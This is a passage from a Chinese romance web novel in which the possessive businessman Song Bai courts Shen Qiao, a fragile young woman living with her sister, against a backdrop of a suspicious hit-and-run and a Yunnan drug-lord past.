沈荞讨厌陈青野,宋柏对陈青野的观感也没好到哪里去。可他也不得不承认, 正是因为陈青野的存在,才分散了她姐姐对她的关注。她姐姐现在身边有陈青野, 她眼里心里就已经全部都是姐姐了,她姐姐要是再把所有心思都放在她身上, 她哪里还能看得到他。 看着她气鼓鼓的模样,宋柏心头又软又痒,没忍住, 低头,再次吻了上去。 冰冷的客厅一片狼藉,温热的卧室里暖意缱绻。 一吻结束,他的衬衫被揉皱,她的睡裙也变得凌乱,两人的唇瓣都泛着红,呼吸交缠。 宋柏将喘着气的她抱在怀里,大掌一下下轻拍着她的后背。 “陈青野这几个月一直在约我见面,他想知道当初是谁把你从云南带走的。” “明天我会见他,你想让他知道傅英的存在吗?” 原本还靠在他怀里缓神的沈荞微微一怔,沉默片刻,缓缓摇了摇头。 这几个月,虽然回到姐姐身边,但不管是姐姐还是她,都没有提过云南分离后的事。所有人都默契把这个事遮过,好像什么都没有发生。 而不知道哪一天起,她姐姐也不再叫她薇薇,而是荞荞。 她叫薇薇的日子,叫她薇薇的人,就这么被毫无痕迹掩盖了过去。 既然已经过去,那她也不想再提。 除非…… 傅英,回来。 见她摇头,宋柏没有再多问,只是继续轻轻拍着她的背,陪着她安静地待着。 夜色越来越浓,宋柏看着怀里依旧睁着眼、毫无睡意的她,眉心微蹙。 “你是不是又没吃药。” 在姐姐面前只要佯装乖巧就能轻易糊弄过去的沈荞,在宋柏面前,从来都无所遁形。 沈荞抿着唇,一言不发。 宋柏垂眸凝着她,眼底带着愠怒。 “他们就是这么照顾你的?” 他的语调里带着明显的指责,沈荞听得不舒服,立刻抬眼反驳:“我有吃药,就是今晚没吃而已。” 宋柏闭了闭眼,压下翻涌的情绪,直接起身。 “送你回去。” 宋柏牵着沈荞踏过满地狼藉的客厅,在沙发角落找到了她的羽绒外套,弯腰给她套上。目光扫过她裸露在外的一截纤细小腿,他眉头拧得更紧,随即一言不发攥着她的手往门外走。 大门打开,在踏出门的瞬间,他朝一侧伸出手。 “外套。” 一直守在门外的许莫言,没来得及看清门内的情形,就下意识将手中的大衣递了过去。 大衣穿在宋柏身上,到小腿,套在身形娇小的沈荞身上,衣摆直接拖在了地上。沈荞皱着眉想脱,却遭了宋柏一记冷眼。 “想回你姐姐家,就老实一点。” 本以为被他瞪了一眼,她会闹脾气,没想到她只是别扭扭过头,乖乖点了点头。 看她难得乖顺老实的模样,宋柏的心又软了大半。 乖的时候,让人心疼。 发起脾气,让人头疼。 “走吧。” 电梯抵达楼层,宋柏牵着她走了进去。迈腿跟上的许莫言,进电梯时回头瞥了一眼大门内的空间。 不看还好,看了,他眼皮直抽。 这一砸,又是砸了多少钱…… 老板每次看到沈小姐和那个陈延在一起的照片就黑脸,在他看来,纯属多余。像沈小姐这样的性子,这样的脾气,除了他老板,谁能惯得起、养得起。就连沈小姐那位姐夫,冉冉升起的科技新贵,都未必能行。 许莫言在心底暗自感叹,却偏偏忽略了最关键的两点。 一:沈荞很有钱。 二:沈荞砸东西,从不在意价值。对她而言,砸掉几百万的名酒,和砸掉几十块的二锅头,没有任何区别,她要的,只是发泄的快感。 回去,不过一条马路的距离,宋柏没有带她下地库坐车,而是选择步行送她回去。 他的大衣裹在沈荞身上,自己只穿了一件单薄的黑色衬衫。冬夜寒风刺骨,刚走出楼栋没几步,他的手就冻得冰凉。 被他紧紧牵在手里的沈荞第一时间就察觉到了,她环顾四周,目光落在一旁的许莫言身上,顿住了脚步。 见她走得好好的突然停下,宋柏正疑惑看向她,就听见她冷冰冰地对许莫言下令:“把你衣服脱了。” 许莫言当场一愣,下意识看向自家老板,却见他老板低头笑了一声,朝他点了点头。 “你去开车吧。” 许莫言脱下身上的大衣,递给老板,随即转身快步走向地库。 凌晨的冬夜,天空又飘起了细碎的雪花,纷纷扬扬,落在肩头。 一高一矮两道身影,在昏黄路灯的映照下,被拉长了身影,缓慢前行。 宋柏牵着她,一步一步慢悠悠地往对面的老旧小区走,保镖则远远跟在身后,远离这份难得的宁静。 只是再慢的脚步,也抵不过距离太短,不过片刻,就到了楼道口。宋柏立在她面前,抬手掸去她肩头和发顶的碎雪。 “上去吧,记得吃药。” 沈荞点头,刚要转身,手腕又被他轻轻拉住。她疑惑转头,宋柏直接将她拉进怀里,紧紧抱了抱,又低头轻吻了一下她的额头,才缓缓松开手。 “我给你打电话,要接。” 沈荞再次点头,这一次转身,他没有再拦着,只是静静站在原地,目送她的身影消失在昏暗的楼道里。 轻手轻脚进门的沈荞, 压根没料到他说的电话会来得这么快。她刚脱下拖地的大衣和羽绒服,倒了温水吃下药,手机就振动起来。 而振动的手机,也瞬间让她想起了一件事。 “你刚报警抓我?” 电话接通,宋柏怎么也没想到她的第一句话会是这个,他低笑一声:“假的,电话没有打出去。” 即便是假的,但沈荞还是生气,她闷着声不说话,电话那头的宋柏也没有开口。沉默中,冬夜的风声透过听筒清晰传来。 “你还没上车?” 沈荞率先打破沉默。 仰头正望着透着暖黄灯光窗户的宋柏,收回视线,转身迈步。 “马上就上车了。药吃了吗?” 吃药吃药,张口闭口就是让她吃药。 沈荞心里烦躁,却还是不情不愿嗯了一声。 清楚药效大概多久会发作的宋柏没有挂断电话,而是有一搭没一搭和她说话,等他走到停在小区门口的车旁,听筒那头,已经传来了她平稳轻浅的呼吸声。 握着手机坐进车里,宋柏对着手机,轻声说了一句“晚安”,才挂断电话。 * 半夜下起的雪,下了一整夜,到清晨都没有停。地面积了厚厚一层白雪,白茫茫一片,洁白又清冷。 早早起床的沈蒲蘅推开窗,看着漫天飘雪,轻声呢喃:“也不知道今天的飞机能不能正常起飞。” 正在一旁给窗边绿植浇水的陈青野直起身,走到她身边:“飞不了也没关系,明天走也行。” 沈蒲蘅轻轻点头。陈青野放下水壶,走向厨房,不多时,热腾腾的早餐就摆上了桌。他起身去敲隔壁的大门,沈蒲蘅则转身走进了次卧。 昏暗的卧室里,沈荞缩在松软的被子里,睡得正沉。沈蒲蘅压低声音叫了她两声,都没得到回应,便没再叫她,轻手轻脚退了出去。 她出门时,陈延和陈青野正一起走进门,见她独自从次卧出来,开口问道:“她还没醒吗?” 沈蒲蘅点了点头:“应该是昨天出门太累了,让她多睡一会儿吧。” 几人没有再多想,走到餐桌前坐下。 早餐就摆在眼前,可陈延的目光,却始终落在在次卧的房门上。沈蒲蘅和陈青野对视一眼,彼此交换了一个眼神。 陈青野拿起放在桌边的车钥匙,推到陈延面前。 “这是车钥匙,这两天她要是想出门,你开车带她去转转。” 陈延:“你们几点去机场,我送你们。” 陈青野:“我一会儿要去一趟宋柏的公司,阿蘅要去医院一趟,就不回来了。我已经安排了公司的车,到时候直接送我们去机场就行。” 陈延转眸:“宋柏?” “嗯,”陈青野点头,“宋康已经帮我约好了时间。” 顿了顿,他又道:“除了问清楚沈荞的事,我还会跟他,要一个人。” 陈延:“什么人?” 陈青野:“之前一直照顾沈荞的那个何婶。” 在找到沈荞,沈荞又拒绝见沈蒲蘅的日子里,陈延一直在暗处默默看着她,看着她的身边,永远有人陪伴着,而那个人,正是何婶。 而何婶,是宋柏的人。 听陈青野要把何婶接过来,陈延下意识皱起了眉。 感受陈延的注视,陈青野并没有看他,而是平静道:“我要忙工作,阿蘅也要回学校上课,你也该有自己的生活。有个她熟悉、也熟悉她的人在身边照顾,我们才能放心。” 陈延沉默着没说话,沈蒲蘅适时开口,声音温柔却坚定:“陈延,她不是你的责任。” 陈延垂眸,紧紧攥住手里的筷子:“但是,是我把她弄丢的。” 沈蒲蘅轻轻叹了口气,眼底满是愧疚:“你那时候已经昏迷不醒,若真要说,弄丢她的人,应该是我才对。” 一瞬间,餐桌上的气氛沉了下来,沉默又压抑。 陈青野左右看看,拧了拧眉:“人既然已经平平安安回来了,就不要再提这些事。这件事就这么定了,宋柏要是不肯放人,我也会另外找合适的人过来照顾她。” 一顿早餐,就在一片寂静中,悄然结束。 最先放下筷子的是陈延,他默默起身收拾碗筷。陈青野跟着起身,回了主卧,不过片刻,便换好一身衣服走了出来。 “我先走了,事情结束给你打电话。” 话音落下,陈青野轻吻了下沈蒲蘅的额头随即推门而出。目送他离开的沈蒲蘅也转身进了卧室,换好衣服,再出来时,她手里已经多了一只行李箱。她将箱子立在客厅中央,又轻轻推开了次卧的门。 被子里的人睡得正沉。沈蒲蘅放轻脚步走近,伸出温热的掌心,轻轻贴了贴沈荞露在被子外的额头。 温度正常,她松了口气。 放软了声音,她轻声唤着:“荞荞,荞荞……” 睡得迷迷糊糊的人,睫毛颤了颤,缓缓睁开眼:“姐姐。” 软软糯糯的轻唤,让沈蒲蘅直接软了心。再开口时,她原本就温柔的语调,又柔了几分。 “姐姐要出门了,一会从医院直接去机场,两天就回来。你要是想姐姐,就给姐姐打电话。” 沈荞困得睁不开眼,只懵懵懂懂地点了点头。沈蒲蘅不忍心再吵她,伸手轻轻摸了摸她的头。 “继续睡吧。” 看着妹妹重新阖眼,往被窝里缩了缩,沈蒲蘅才转身准备离开,走到门边时,她的目光不经意扫过门边的椅子,上面搭着两件外套,她没多想,随手拿起便走了出去。 恰好陈延洗完碗从厨房出来,沈蒲蘅将那件羽绒服挂进玄关的衣柜,另一件大衣则递到他面前。 “荞荞又把你外套穿回来了。” 这几个月,沈荞大半时间都待在陈延家,有时候下楼遛弯、遛狗,懒得回去拿外套,就会随手套上陈延的衣服。陈延早已习惯,所以下意识伸手去接,可指尖一碰到衣料,眉峰便一蹙。 这大衣的质感,太好了。 他低头,凝视着手里的大衣,轻轻一提,翻出衣领细看。领口内侧,绣着一个极精致的【SONG】。 SONG——宋。 陈延的眼神瞬间沉了下去。 而久久没等到他回应的沈蒲蘅,此时回头看了他一眼:“怎么了?” 陈延再抬眼,神色如常:“没什么。” 并未察觉异样的沈蒲蘅收回目光:“那我也走了,这两天有什么事,随时给我们打电话。” 陈延点点头:“好。” 一切收拾妥当,沈蒲蘅很快拉着行李箱出了门。 砰—— 一声轻响,大门紧闭。不算宽敞的客厅里,只剩下陈延一个人。 他站在空荡的屋子中央,垂眸,再次看向手中的大衣,眸色深沉。 与此同时,城市的另一头,大衣的主人,正坐在车里往公司而去。 车轮碾过路面残雪,稳稳驶入公司地库。 早已等候在电梯外的何静,看着电梯数字一层层往上跳,心脏也跟着轻轻提起。 叮—— 电梯抵达。 何静抬眼望去,就见电梯门缓缓打开,她的老板噙着一抹淡笑,迈步走了出来。 这几个月,虽然老板远在国外,但何静也可以明显感知到老板心情不佳,此时看着眼前老板的笑脸,何静先是愣了一下,很快又反应过来,上前一步。 “老板,小宋总和陈总已经到了,在办公室等您。” 宋柏微微颔首,长腿一迈,径直朝办公室走去。 办公室门被推开的瞬间,里面等候已久的两人同时抬头看来。宋康最先反应过来,起身,喊了一声:“二哥。” 宋柏敷衍点了下头,迈步走入办公室,原本坐着的陈青野也站起身,颔首示意,语气平静:“宋总。” 宋柏落坐,淡淡回了一声:“陈总。” 上一次见面,闹得极不愉快,甚至大打出手的两人,如今再度碰面,都默契收起了锋芒。而这,也让一旁本忐忑的宋康,悄悄松了口气。 刚从国外回来的宋柏,积压了一堆事,没兴趣也没时间闲扯,他直接开门见山。 “陈总这么执着要见我,无非就是想确认,当初带走沈荞的人是谁,会不会还有人找她,伤害她,甚至牵连到你的太太,对吗?” 陈青野神色微动,坦然承认:“是。” 对陈青野而言,这世上没有任何人,比沈蒲蘅更重要。当初他选择向沈蒲蘅隐瞒沈荞的存在,也是想护着她,守住她安稳平静的生活。 只可惜事与愿违。 她的平静生活被打破,不是因为沈荞,而是因为他,因为他的事业,因为他的工作。 在洛杉矶的一年,他的事情都处理好了。本可以回归平静生活,沈荞回来了。 沈荞虽然平安回来,但他必须得确认,那些危险没有跟着一起回来。 见陈青野答得坦荡,宋柏唇角勾起一抹讥讽。 “陈总既然顾虑这么多,我不介意把她接回来,亲自照顾。” 陈青野眼神骤然一凛。 一旁的宋康也皱起眉:“二哥,你说什么呢?” 陈青野:“宋总把沈荞平安带回,我和我太太都很感激。但沈荞,由我们照顾就好,不劳宋总费心。宋总只需要告诉我,带走沈荞的人是谁。” 宋柏淡:“这个问题,我无可奉告。” 陈青野的脸色瞬间沉了下去。 宋康刚松开的眉,又紧紧拧起。 就在气氛逐渐变得紧绷的时候,宋柏又慢条斯理开口:“不是我不想说,是那个人已经死了,再追问,也没有意义。” “死了?” 陈青野和宋康几乎是同时开口,语气里都带着几分意外。 宋柏:“死了!” 陈青野侧眸,和宋康交换了一个眼神。 “沈荞现在的身份很干净。” 宋柏的目光落在陈青野身上,沉声道:“没有人会知道,她就是那个已经死去的曹薇。” * 沈荞一觉睡醒,已经快下午一点了。她躺在床上,眨了眨眼缓了许久,混沌的意识才一点点清醒过来。 她伸手拿起放在床头的手机,屏幕上显示着两条未读消息。 一条是姐姐发来的,先是问她醒了没有,又说自己马上要登机,接下来几个小时手机会没有信号。 另一条来自宋柏,内容很简单,只有一句:醒了没。 沈荞认真回了姐姐的消息,至于宋柏那条,她直接划了过去,当没有看见。 她下床推开房门,屋子里空荡荡的,别说人,连平时总在她脚边打转的狗都不见踪影。沈荞走出家门,抬手拧开了对面的门,门一开,不仅看见了撒着欢跑过来的狗,还看见了陈延。 她进门,陈延正好端着菜从厨房出来,看见睡眼惺忪的她,温和笑了笑。 “醒了?过来吃饭吧。” 桌上摆着清清淡淡的粥,配了几碟清爽小菜,刚好适合刚睡醒,没什么胃口的沈荞。她有一搭没一搭喝着粥,看着窗外的雪,怔怔发着呆。陈延安静坐在一旁陪着她,过了许久,才轻声开口。 “晚上有球赛,吃完要不要出去走走,顺便买点你爱吃的零食?” 沈荞摇了摇头,声音带着刚醒的慵懒:“太冷了,不想动。” 陈延也不勉强,顺着她的话道:“那就叫跑腿送过来。一样的。” 安安静静的雪天,时光都慢了下来。沈荞窝在窗边的软椅里,安安静静看了一下午的雪,直到天色彻底暗下来,夜幕笼罩了整座城市,她姐姐的电话终于打了过来。 这是重逢后姐妹俩第一次分开,电话那头,沈蒲蘅的语气满是关切,问她吃了没、有没有按时吃药、身体有没有哪里不舒服。 沈荞一一乖乖回答,两人聊了好一会儿,直到陈延端着晚饭从厨房走出来,她才依依不舍挂断了电话。 吃完晚饭,因为要看球赛,沈荞没有直接吃药。陈延在准备看球赛要用的零食和吃食,而沈荞,因为室内暖气太足,热得出了薄汗,起身回到对面,打算先洗个澡。 她去拿换洗衣物时,顺手拿起被丢在床边的手机,只看了一眼,就愣住了。 屏幕上,十几个未接来电,全部来自宋柏。 沈荞回拨了电话。 几乎是刚拨通,对面就立刻接了起来。 “你打这么多电话干什么?” 沈荞率先开口,语气带着明显的不耐。 电话那头沉默了一瞬,随即传来一道阴恻恻的声音。“沈荞,是不是说过,要接我电话?” 沈荞更烦躁了,直接皱了眉:“你很烦。” 电话那头的声音冷了下来:“下来。” 沈荞一怔,握着手机快步走到窗边,掀开窗帘往下望去。窗外的雪还在纷纷扬扬飘着,寒风卷着雪打在玻璃上,白茫茫的雪地里,高大挺拔的身影就站在冷白的路灯下,肩上头上满是白雪。仰着头,一动不动望着她。 隔着漫天风雪,四目相对。 沈荞摇了摇头:“我不下去。” 电话那头的宋柏像是早就料到她会这么做。 “沈荞,我数三下,你不下来,我就上去。” “你敢……” “一。” 他根本不给她任何反驳的机会,继续数。 “二。” 沈荞又烦又躁,却也清楚宋柏说到做到,只能妥协:“别数了,我下去。” 攥着手机,在房间里环顾一圈,沈荞没找到昨晚脱下的羽绒服。皱了皱眉,她随手从衣柜里拿出一件新的羽绒服套上,又蹬上雪地靴,快步出了门。 走到楼道里,她就感受了冷意,推开单元门,刺骨的寒风更是裹着雪粒扑面而来,冻得她下意识缩了缩脖子。 下一秒,她的手腕被一只冰凉却力道极大的手紧紧扣住。她抬眼望去,正对上宋柏神色不善的脸。 宋柏攥着她,把她往怀里带的同时,俯身盯着她,声音冰冷,就如同这漫天风雪。 “为什么不接电话?为什么不回消息?” 沈荞皱眉,刚要开口反驳,攥着她手腕的宋柏却忽然垂了眼,语气瞬间软了下来,整个人透着委屈。 “你知不知道,我在这儿等了你多久?” 他突如其来的委屈模样,让沈荞一怔。 本还理直气壮的她,莫名生出几分心虚。 “我……手机没放在身边。” 她小声辩解。 “没放在身边?” “那你一直在哪里,是不是又和那个陈延在一起?” 沈荞其实不用回答,宋柏也知道答案。 “昨晚怎么说的?” 清清楚楚记得昨晚一切的沈荞,心头一乱,依旧嘴硬:“什么怎么说的,我什么都没有答应。” 宋柏被她这耍赖的模样气笑了,刚要开口,目光却不经意地往上一抬,恰好撞进一双深沉的眼眸里。 透着暖光的窗边,高大的身影正安安静静地站在那里,望着楼下的他们。 对上那双眼,看着窗边的人,宋柏勾了勾唇角。 下一秒,他松开擒着沈荞手腕的手,转而捏住了她的下巴。 沈荞还没来得及反应,就被他微凉的手指强迫着抬起头。 带着风雪凉意的吻,不由分说落了下来。 同样冰冷的唇瓣相触,唇齿交融,直到沈荞喘不过气,鼻尖泛红,宋柏才缓缓松开她。 拇指轻轻擦过她被吻得发烫的唇,宋柏不给她任何缓神的机会,直接牵起她的手就往外走。 沈荞挣扎:“你带我去哪?” 宋柏脚步未停,姿态强势。 “说话不算数,当然要受惩罚。” 第57章 冬日柔情 宋柏说的惩罚, 不过是把沈荞拉进车里,圈进怀里,对着她又亲又啃。沈荞起初还由着他,可他得寸进尺、没完没了, 她心底烦躁翻涌, 最后抬手, 呼了他一巴掌。 冰凉的手掌扫过脸颊, 只留下一片火辣辣的烫意。宋柏顿住动作, 垂眸看着怀里气息不稳、眼尾泛红的人,喉间发紧。 “沈荞, 我在冰天雪地里站了一个小时,你就这么对我?” 沈荞只觉得莫名其妙。 “我又没让你来。” 是他自己来的, 自己站在雪地里挨冻,跟她有什么关系。刚才还因为他那副委屈模样生出的几分心虚, 在他没完没了的亲吻里,消失得一干二净。 沈荞坐在他怀里,揪着他的袖口, 满脸嫌弃擦拭着脖子上他留下的湿漉痕迹。 而她的话, 她的动作,对于宋柏而言, 无一不是挑衅。 宋柏气得笑出声,抬手擒住她的手腕, 将她的双手反扣在腰后,俯身, 对着她刚擦得微微泛红的脖颈,重重咬了一口。 刺痛传来,沈荞下意识挣脱开手, 又给了他一巴掌,可这一巴掌,非但没能让他收敛,反而彻底激起了他。 暖气十足的车里,他已然变得温热的大掌,探进她的衣摆里,先是揉捏她腰间的细肉,然后逐渐 寸寸向上。 粗粝的指腹带来陌生的触感,沈荞难耐仰起头,修长的脖颈完全展露,更方便了埋首在她颈间的人。 被他拉上车前,沈荞还在奇怪,他今天怎么突然换了一辆越野车,甚至连司机都没带。 直到此刻,她才明白一切。 窗外寒风呼啸,车内温度却越来越高,暧昧的气息散开,占据了车里的每一寸空气。 许久,一切才又归于平静。 宋柏一手稳稳抱着趴在他肩头缓神的人,一手抽出纸巾,慢条斯理擦着指尖的湿漉。 等怀里的人渐渐回过神,宋柏抬手捧着她红润发烫的小脸,从怀里掏出帕子,一边擦去她额间的薄汗,一边低沉诱哄:“搬回来,嗯?” 刚从情动中缓过劲的沈荞,仍茫然着。 宋柏摸着她的脸,继续沉声说道:“陈青野今天来找我要何婶了,他们照顾不好你。” 沈荞偏头躲开他的手,语气倔强:“我不需要照顾。” 宋柏没有反驳,只是指尖轻轻抚着她的脸颊,耐心开口:“你姐姐在读研究生,要去学校,又要跑医院,你总不能天天坐在家里等她回来?搬回来,我给你找最好的老师,挑一所合适的大学,九月就能正常入学。到时候,你可以读自己想读的专业,交想交的朋友,有属于自己的生活。” 这几个月,中西医调理,加上心理诊疗,还有姐姐细致的陪伴,沈荞的状态确实好了许多。她不再狂躁易怒,也没有了轻生的念头,医生也说,她可以多出门走动,多融入人群。 她已经试着出门了。 可去学校…… 沈荞以前也许还期待过,可现在,她只有抗拒。 她也说不清为什么,她就是不想去。 抱着她的宋柏也看见了她眼底的不安与退缩。 看着她,他的心又软了三分。 让她搬回来,不是他有什么私心。 只是在经历过早上的谈话,他纯粹不想让她在她姐姐家住下去。 陈青野心疼自己的老婆,有他的顾虑。 而他,心疼她。 他本也不想让她回到她姐姐身边,是她半夜偷偷溜出去的。 宋柏抬手抚过她的发顶,掌心落在她颈后,轻轻揉着她颈后紧绷的软肉。 “不想去学校,就不去。但你的人生,不能一辈子都用来等待别人。不管是等你姐姐,等傅英,或是等我。” 宋柏温声说着,见她眉眼微微松动,又继续开口:“你姐姐现在读书没有收入,全靠陈青野撑着,你住在那里,说到底也是花他的钱。你真的想花他的钱吗?” 这几个月,沈荞只顾着沉浸在和姐姐重逢的温情里,从没想过这些现实问题。 她本就不喜欢陈青野,自然也不愿用他的钱。 她自己就有很多钱。 张张嘴,话还没出口,就被宋柏又堵了回去。 “我知道你有钱,可你姐姐会用你的钱吗?” 沈荞微微一怔,一时语塞。 宋柏趁热打铁,又道:“过几天索尼娅就要来了。她说想见你,想和你一起住。索尼娅在意大利那么热情招待你,难不成她过来,你要带着她住在你姐姐家吗?” 索尼娅…… 沈荞已经很久没有想起她了,自伦敦后,她们更是没有联系过。没想到,索尼娅还记得她…… 沈荞:“索尼娅真的要来?” 宋柏点头:“嗯。” 沈荞沉吟片刻:“姐姐回来,我和她说。” 宋柏听出她这是松口答应,笑意还没来得及蔓延开来,就被她轻轻推了一把。 “我要回去了,球赛要开始了。” 宋柏一怔:“什么球赛?” 沈荞坦然回答:“橄榄球赛。” 宋柏咬牙:“和谁一起看?” 沈荞不再说话,只是一味地推着他。 宋柏没有松开她,圈在她腰上的手,反而越收越紧。 沈荞被他缠得烦了,抬眼瞪着他。 宋柏回视她,慢悠悠开口:“你总得等我裤子干了再送你回去,还是说,你想让所有人都知道,我们刚才在车上做了什么?” 推搡的动作骤然一顿,沈荞脸颊一热,原本怒瞪着他的眼睛,瞬间垂了下去。 看着她难得羞怯的模样,宋柏低低笑出声。 “再抱一会儿,抱一会儿就送你回去。” 宋柏说话算话,静静拥着她片刻,便牵着她的手下了车。 寒风扑面而来,沈荞连脖子都顾不上缩,第一时间低头去看他的裤子。 这一看,她当即又气红了脸。 他穿的是黑色长裤,湿和干根本看不出来区别,他又在耍她…… 沈荞怒目瞪着他,宋柏却像没看见,只牵着她慢悠悠往小区里走。经过小区门口,不远处支着一个糖炒栗子摊,热气混着甜香飘过来。他低头问她:“想吃吗?” 沈荞点了头,宋柏付了钱。 一手拎着温热的纸袋,一手牢牢牵着她。迈进小区时,他状似无意开口:“本来想接你去吃晚饭,结果在雪里冻了一个小时。” 沈荞仰头看了他一眼,声音轻了些:“知道了,我以后会接电话。” 目的达成,宋柏眼底漾开笑意,没再多说。 走到楼道口,他像昨夜一样把她抱进怀里,低头轻吻了吻她的额头,将糖炒栗子递到她手里,才肯放她上楼。 而与昨夜不同,沈荞没有头也不回转身就走。而是低头剥开一颗滚烫的栗子,踮脚塞进他嘴里,才抱着纸袋,小跑着上楼。 雪静静飘落,嘴里是软糯香甜的暖意,像极了刚离开的人。 宋柏慢慢嚼着,目送她的身影消失在楼道口,视线缓缓往上抬去。 那扇窗后,那个人,还站在原地。 他扯了扯嘴角,淡漠收回目光,转身融进茫茫雪景里。 沈荞离开陈延家,原本只想洗个澡,可再踏进陈延家,不仅澡没洗成,橄榄球赛也已经开始了。 抱着狗窝在沙发上,沈荞看得聚精会神。坐在一旁的陈延,闻着空气里若有若无的栗子甜香,全程沉默不语。 球赛结束时已是凌晨,沈荞吃过药,抱着狗准备离开。 沉默了一整晚的陈延,忽然开口:“不睡这儿吗?” 沈荞脚步一顿,脑海里莫名闪过宋柏的脸,轻轻摇了摇头:“不了,我回去睡。” 沈荞抱着狗回到对面,刚进门,兜里的手机震动起来。她掏出手机一看,又是宋柏。 沈荞左右环顾了一圈。 他怎么和装了监控一样。 划开屏幕接起。 “球赛看完了?” 把狗放回狗窝,走回房间钻进被窝,沈荞才对着电话轻轻应了一声:“嗯。” “明天做什么?” 沈荞:“不知道。” “那明天带你去挑新衣服。” 沈荞微怔:“嗯?” “不想漂漂亮亮见索尼娅吗?” 沈荞心头刚一动,电话那头的宋柏已经直接敲定了行程。 “明天中午去接你,先吃饭,再挑衣服。” “好了,时间不早了,快睡吧。” 挂了电话,药效慢慢上来,沈荞也没有多想,把手机往床头一放,往被子里一缩,便沉沉睡去。 与此同时城市另一头,挂了电话的宋柏端着酒杯,望着窗外璀璨的夜景,心情甚好。 只是这份好心情并未持续太久,就被突如其来的不速之客打断。 打开门,看到 门外站着的人,宋柏脸上的笑意瞬间敛起。 “刚订婚,不在家陪着老婆,这个点过来干什么?” 站在门外的宋康神色凝重。 “二哥,魏书平死了!我刚陪魏霖去公安局认的尸。” 宋柏蹙眉。 “进来。” 冰冷的冬夜,空旷清冷的大平层,本不怎么喝酒的宋康仰头灌下半杯冷酒,灼热的触感滑过咽喉,勉强驱散了他周身的寒气。 坐在宋康对面的宋柏,缓缓开口。 “到底怎么回事。” 宋康:“车祸,两个小时前的事。” 魏书平,是他们大嫂和魏霖的亲生父亲,论辈分,他们本该叫一声魏叔叔。 这大半年来,宋柏对魏氏集团步步紧逼,撤项目、抽资金,手段凌厉。商场上的人个个精明,即便宋柏没有明说,众人也敏锐察觉他的意图。 如日中天的宋家,苟延残喘的魏家,该站哪边,所有人都心知肚明。 后续无需宋柏再动手,银行与合作商们便纷纷选择和魏氏划清界限。看似庞大,实则早已危机四伏的集团,很快现金流彻底断裂,到了破产边缘。 魏书平不止一次找过宋柏,却连他的影子都见不到。他又转而去找宋老爷子,老爷子虽然退居幕后多年,但执掌宋家半生,也不是什么心慈手软的人。尤其是在得知魏家对大儿媳的所作所为后,更是直接闭门不见。 见不到宋柏,求不到宋老爷子,魏书平这几个月只能四处贱卖资产,试图断臂求生。 而宋柏,也从没想过要把人逼上绝路。 瘦死的骆驼比马大,他清楚魏家的家底,即便彻底破产清算,也足够他们安稳富贵过完下半生。 可他没想到,魏书平还是死了。 就在魏霖求上门的第二天,死于一场车祸。 宋柏沉声问:“警察怎么说?” 宋康:“肇事逃逸,出事的地方没有监控,和大嫂出事的时候,一样。” 宋柏眉头紧锁:“魏霖呢?” 宋康摇了摇头:“整个人已经崩溃了。我本来想今晚问话,可他现在,什么都不肯说了。” 说完,宋康垂下头,满是自责:“二哥,是我的问题。我应该先问话,再带他去认尸的。” 宋家三兄弟,宋莫作为长兄,对宋柏一向严厉,对隔房的堂弟宋康却多了几分兄长的慈爱。作为二哥的宋柏,嘴上对宋康从不留情,实则一直将他牢牢护在羽翼之下。 宋康在两位兄长的庇护下长大,能力不俗,性子却远不如两位兄长冷硬果决。 宋柏也没打算苛责他:“把魏霖交给李程,你去查魏家的海运公司。” 宋康点头应下,沉默片刻后,又道:“二哥,陈青野之前也出过一场车祸。” 宋柏记得这件事。 也正是因为这场车祸,他第一次见到了沈蒲蘅。 在澜庭,她穿着病号服,在一只手吊着绷带的情况下,单手把人开了瓢。他当时路过恰好看到,不过随口多问了一句,他的好弟弟宋康当即就变得紧张,说沈蒲蘅不仅有男朋友,两人还十分恩爱,更是刚一同经历过车祸,正是共患难的时候。 宋康话里话外,都在提醒他,别对沈蒲蘅动不该有的心思。 宋柏当时只觉得可笑,也没再多问。 后来因为宋康,他亲自去了一趟云南,才知道那场所谓的车祸根本不是意外,而是一场蓄谋已久的算计,那场车祸,为的是陈青野的无人机公司,而幕后之人,是一个盘踞在云缅边境多年的毒枭。 而据他目前得到的消息,那个毒枭已经死了。 宋柏看向他:“你觉得这几件事有关联?” 宋康神色一紧:“二哥,从云南带走沈荞的人,真的死了吗?” 宋柏眉峰拧起:“你什么意思?” “二哥,我不是不信你。”宋康连忙解释,“只是陈青野说,沈荞跟沈蒲蘅提过,那个毒枭,是她的干爹。确认沈荞还活着之后,我和陈青野一直觉得,带走她的人,肯定和那个毒枭关系匪浅。” “相似的车祸,相似的手法,我总觉得哪里不对劲……” 宋康的一番话,宋柏只捕捉到一个关键词。 “干爹?” 宋康先是点头,随即又摇摇头。 “二哥你也别多想,虽然不清楚沈荞怎么会和那个毒枭扯上关系,认了他做干爹,但可以肯定,沈荞绝对没做过不好的事。她在云南消失前,还跟沈蒲蘅说,她要去炸死那个毒枭。” 炸死? 原本一脸严肃的宋柏,忽然低笑出声。 这么看来,她对他,还算手下留情了。 敛去笑意,宋柏神色恢复平静,继续问道:“关于她,你还知道什么?” 宋康看着自家二哥突如其来的笑意本就觉得奇怪,此刻见他二哥追问沈荞的事,再联想他二哥对于沈荞的在意和种种行为,他忍不住试探:“二哥……你对沈荞……” 宋柏淡淡开口,语气笃定:“别一口一个沈荞,她是你二嫂。” 宋康瞪大眼睛:“二哥,你说什么?” * 看球赛看到凌晨,沈荞这一觉,直接昏昏沉沉睡到了临近中午。 揉着惺忪睡眼刚走出房门,她一眼就看见在厨房里忙碌的陈延。 听见开门动静的陈延,回头看见她,立刻关了火,随手擦了擦手从厨房走出来。 “外面还在下雪,我熬了骨头汤,中午我们吃火锅,好不好?” 沈荞下意识就要点头,又突然顿住。 她想起,宋柏说,要来接她出去吃饭。 沈荞不过一瞬迟疑,陈延却已经敏锐察觉到不对劲。 “怎么了?” 沈荞抬眼:“我要出去。” 陈延了解沈荞,她怕冷,这样大雪纷飞的天气,她不爱往外跑。 “你要去哪里,我陪你。” 沈荞轻轻摇了摇头:“不用,宋柏说来接我。” 几个月了,这是沈荞第一次在陈延面前主动提起宋柏。而她语气坦荡,没有半分避讳与闪躲。 昨夜亲眼目睹一切的陈延,喉间微微发紧,压下心底的闷涩,挤出一个温和的笑,轻声问她:“你和他在一起,开心吗?” 沈荞认真思索了片刻,点了点头。 就算有不开心,揍他一顿,也就开心了。 看着她真挚点头的样子,陈延依旧温和笑了笑:“开心就好,去洗漱吧。雪大,衣服穿厚一点。” 沈荞应了一声,转身往卫生间走去。 直到卫生间的门轻轻关上,僵在原地的陈延才攥紧了垂在身侧的手。 